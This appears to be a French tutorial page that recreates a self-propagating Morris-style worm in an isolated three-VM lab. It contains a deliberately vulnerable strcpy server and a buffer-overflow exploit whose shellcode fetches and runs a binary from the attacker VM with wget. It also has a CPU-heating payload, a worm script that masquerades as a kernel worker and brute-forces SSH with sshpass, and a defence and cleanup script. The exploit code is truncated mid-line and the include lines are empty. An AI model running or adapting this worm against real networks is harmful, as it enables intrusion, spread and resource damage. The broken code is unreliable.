Comprendre les mécanismes de propagation des vers informatiques en recréant une version modernisée du célèbre ver Morris de 1988. Chaque composant est expliqué et testable.
# Configuration des 3 machines virtuelles
# VM1 (Attaquant) : 192.168.56.101
# VM2 (Cible 1) : 192.168.56.102
# VM3 (Cible 2) : 192.168.56.103
# Sur chaque VM (Ubuntu 20.04 recommandé) :
sudo apt update
sudo apt install -y gcc python3 python3-pip netcat-openbsd sshpass
sudo apt install -y nasm build-essential gdb
# Vérification de l'isolation réseau
ip addr show | grep 192.168.56
ping -c 1 8.8.8.8 # Doit échouer
🐛 SERVEUR VULNÉRABLE RÉEL
Explication technique : Buffer Overflow
Un buffer overflow se produit lorsqu'un programme écrit des données au-delà de la mémoire allouée. Ici, nous créons un serveur avec une fonction strcpy() non sécurisée qui permet d'écraser la pile d'exécution.
/* Serveur vulnérable - buffer_overflow_server.c */
#include
#include
#include
#include
#include
#include
// Fonction vulnérable - strcpy sans vérification
void vulnerable_function(char *input) {
char buffer[64]; // Buffer de 64 octets
strcpy(buffer, input); // ⚠️ COPIE SANS VÉRIFICATION
printf("Données reçues: %s\n", buffer);
}
int main() {
int server_fd, client_fd;
struct sockaddr_in address;
int opt = 1;
int addrlen = sizeof(address);
char buffer[1024] = {0};
// Création du socket
server_fd = socket(AF_INET, SOCK_STREAM, 0);
// Configuration
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(6666);
bind(server_fd, (struct sockaddr *)&address, sizeof(address));
listen(server_fd, 3);
printf("Serveur vulnérable démarré sur le port 6666\n");
while(1) {
client_fd = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen);
read(client_fd, buffer, 1024);
// Appel de la fonction vulnérable
vulnerable_function(buffer);
close(client_fd);
memset(buffer, 0, 1024); // Reset du buffer
}
return 0;
}
L'exploit envoie un payload soigneusement construit qui :
Remplit le buffer de 64 octets
Écrase l'adresse de retour sauvegardée
Injecte un shellcode exécutable
Redirige l'exécution vers notre code
#!/usr/bin/python3
# exploit_buffer_overflow.py
import socket
import struct
import time
# Shellcode pour exécuter une commande système
# Ce shellcode lance: /bin/sh -c "wget http://192.168.56.101/morris_thermal -O /tmp/mt && chmod +x /tmp/mt && /tmp/mt"
shellcode = (
b"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x50\x48\xbb"
b"\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x50\x48\xb8"
b"\x2d\x63\x00\x00\x00\x00\x00\x00\x50\x48\x89\xe6\x50\x48\xb8"
b"\x77\x67\x65\x74\x20\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32"
b"\x2e\x31\x36\x38\x2e\x35\x36\x2e\x31\x30\x31\x2f\x6d\x6f\x72"
b"\x72\x69\x73\x5f\x74\x68\x65\x72\x6d\x61\x6c\x20\x2d\x4f\x20"
b"\x2f\x74\x6d\x70\x2f\x6d\x74\x20\x26\x26\x20\x63\x68\x6d\x6f"
b"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x6d\x74\x20\x26\x26"
b"\x20\x2f\x74\x6d\x70\x2f\x6d\x74\x00\x50\x48\x89\xe2\x52\x56"
b"\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05"
)
def exploit_target(target_ip):
try:
# Connexion au serveur vulnérable
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, 6666))
# Construction du payload
padding = b"A" * 72 # Remplissage jusqu'à l'adresse de retour
ret_addr = struct.pack("Copier Exploit Python
🌡️ PAYLOAD THERMIQUE OPTIMISÉ
Charge de travail CPU intensive
Le payload thermique utilise des opérations mathématiques intensives pour maximiser l'utilisation du processeur et générer de la chaleur.
/* morris_thermal.c - Charge thermique CPU */
#include
#include
#include
#include
// Fonction de charge CPU intensive
void cpu_stress() {
unsigned long long i, j;
volatile double result = 0.0;
while(1) {
// Boucle de calcul intensif
for(i = 0; i < 1000000; i++) {
for(j = 0; j < 1000; j++) {
result += (double)i * (double)j / 3.14159;
}
}
// Lecture du timestamp CPU (instruction rdtsc)
__asm__ volatile ("rdtsc" : : : "rax", "rdx");
// Empêcher l'optimisation du compilateur
if(result > 1e100) result = 0.0;
}
}
int main() {
printf("[🐀] Morris Thermal Worm v2.1 démarré\n");
// Création de multiples processus pour maximiser la charge
for(int i = 0; i < 4; i++) {
if(fork() == 0) {
// Processus enfant
printf("[🔥] Processus thermique %d démarré\n", getpid());
cpu_stress();
exit(0);
}
}
// Processus parent attend les enfants
while(wait(NULL) > 0);
return 0;
}
# Compilation et déploiement
# Sur VM1 (192.168.56.101) :
gcc -O3 morris_thermal.c -o morris_thermal
# Serveur web simple pour distribuer le payload
python3 -m http.server 80 &
# Vérification
wget http://192.168.56.101/morris_thermal -O /tmp/test_binary
chmod +x /tmp/test_binary
🔄 MÉCANISME DE PROPAGATION
Stratégie de propagation
Le ver utilise plusieurs vecteurs d'attaque pour maximiser ses chances de propagation :
Exploitation de buffer overflow
Brute-force SSH avec dictionnaire
Scan réseau automatique
Camouflage des processus
#!/bin/bash
# morris_worm.sh - Mécanisme de propagation principal
# Camouflage du processus
exec -a "[kworker/0:0]" bash -c "$0 --worm-mode" "$@"
if [ "$1" != "--worm-mode" ]; then
exit 0
fi
# Configuration
NETWORK="192.168.56.0/24"
WORM_URL="http://192.168.56.101/morris_thermal"
echo "[🐀] Démarrage du ver Morris Thermal v2.1"
# Phase 1: Auto-réplication locale
./morris_thermal &
# Phase 2: Scan et propagation réseau
while true; do
echo "[🔍] Scan du réseau $NETWORK"
# Scan des hôtes actifs
for ip in {100..110}; do
target="192.168.56.$ip"
# Vérification de la connectivité
if ping -c 1 -W 1 "$target" &>/dev/null; then
echo "[🎯] Cible active: $target"
# Tentative d'exploitation buffer overflow
python3 exploit_buffer_overflow.py "$target" 2>/dev/null &
# Tentative brute-force SSH
for password in "password" "123456" "admin" "test"; do
if sshpass -p "$password" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 \
"user@$target" "wget $WORM_URL -O /tmp/mt && chmod +x /tmp/mt && /tmp/mt" &>/dev/null; then
echo "[✅] Infection SSH réussie: $target"
break
fi
done &
fi
done
# Attente avant nouveau cycle (éviter la surcharge)
echo "[⏳] Attente de 60 secondes..."
sleep 60
done
🛡️ SYSTÈME DE DÉFENSE ANTI-MORRIS
Détection et prévention
Ce système de défense surveille en temps réel les activités suspectes et bloque automatiquement les tentatives d'infection.
#!/bin/bash
# anti_morris_defense.sh - Système de défense
LOG_FILE="/var/log/anti_morris.log"
ALERT_THRESHOLD=3
log_alert() {
echo "$(date): $1" >> "$LOG_FILE"
echo "[🚨] ALERTE: $1"
}
# Surveillance des processus
monitor_processes() {
while true; do
# Détection des processus camouflés
if ps aux | grep -q "kworker/0:0.*morris"; then
SUSPICIOUS_PID=$(ps aux | grep "kworker/0:0" | grep -v grep | awk '{print $2}')
log_alert "Processus camouflé détecté: PID $SUSPICIOUS_PID"
kill -9 "$SUSPICIOUS_PID" 2>/dev/null
fi
# Détection du payload thermique
if pgrep -f "morris_thermal" > /dev/null; then
log_alert "Payload thermique détecté"
pkill -f "morris_thermal"
fi
# Surveillance de la température CPU
TEMP=$(sensors | grep -oP 'Core 0:\s+\+\K\d+' | head -1)
if [ "$TEMP" -gt 80 ]; then
log_alert "Surchauffe CPU: ${TEMP}°C"
# Réduction de la charge
pkill -f "stress"
fi
sleep 10
done
}
# Surveillance réseau
monitor_network() {
while true; do
# Détection des scans de port
PORT_SCAN=$(netstat -tunlp | grep -E ":6666|:9999" | wc -l)
if [ "$PORT_SCAN" -gt "$ALERT_THRESHOLD" ]; then
log_alert "Scan de port suspect détecté"
fi
# Détection des connexions suspectes
SUSPICIOUS_CONN=$(netstat -tun | grep "192.168.56" | wc -l)
if [ "$SUSPICIOUS_CONN" -gt 10 ]; then
log_alert "Nombre élevé de connexions internes: $SUSPICIOUS_CONN"
fi
sleep 30
done
}
# Démarrage de la surveillance
echo "[🛡️] Démarrage du système de défense Anti-Morris"
monitor_processes &
monitor_network &
🧪 TEST SÉCURISÉ AUTOMATISÉ
PROCÉDURE DE TEST CONTRÔLÉE
Ce test limite automatiquement la durée d'exécution à 120 secondes maximum avec nettoyage automatique.
#!/bin/bash
# test_morris_safe.sh - Test sécurisé
MAX_DURATION=120 # 2 minutes maximum
CLEANUP_DELAY=10 # 10 secondes pour le nettoyage
echo "[🧪] Test sécurisé du Morris Thermal Worm v2.1"
echo "[⏰] Durée maximale: ${MAX_DURATION} secondes"
# Vérification de l'isolation
if ping -c 1 8.8.8.8 &>/dev/null; then
echo "[❌] ERREUR: Internet détecté - Test annulé"
exit 1
fi
echo "[✅] Environnement isolé confirmé"
# Démarrage chronométré
{
echo "[🚀] Démarrage du ver..."
# Compilation des composants
gcc -fno-stack-protector -z execstack -no-pie buffer_overflow_server.c -o vuln_server
gcc -O3 morris_thermal.c -o morris_thermal
# Démarrage des services
./vuln_server &
python3 -m http.server 80 &
# Lancement du ver
./morris_worm.sh &
WORM_PID=$!
echo "[📝] PID du ver: $WORM_PID"
# Surveillance en temps réel
for i in $(seq 1 $MAX_DURATION); do
echo "[⏱️] Temps écoulé: ${i}s/${MAX_DURATION}s"
# Monitoring température
TEMP=$(sensors 2>/dev/null | grep -oP 'Core 0:\s+\+\K\d+' | head -1 || echo "N/A")
echo "[🌡️] Température CPU: ${TEMP}°C"
sleep 1
done
} &
# Compte à rebours
TEST_PID=$!
for i in $(seq 1 $MAX_DURATION); do
sleep 1
done
echo "[🛑] Arrêt du test après ${MAX_DURATION} secondes"
# Nettoyage agressif
echo "[🧹] Nettoyage en cours..."
pkill -f "morris_thermal"
pkill -f "vuln_server"
pkill -f "kworker/0:0"
pkill -f "python3 -m http.server"
sleep $CLEANUP_DELAY
# Vérification du nettoyage
if pgrep -f "morris" > /dev/null; then
echo "[⚠️] Certains processus résistent - nettoyage manuel requis"
else
echo "[✅] Nettoyage terminé - système sécurisé"
fi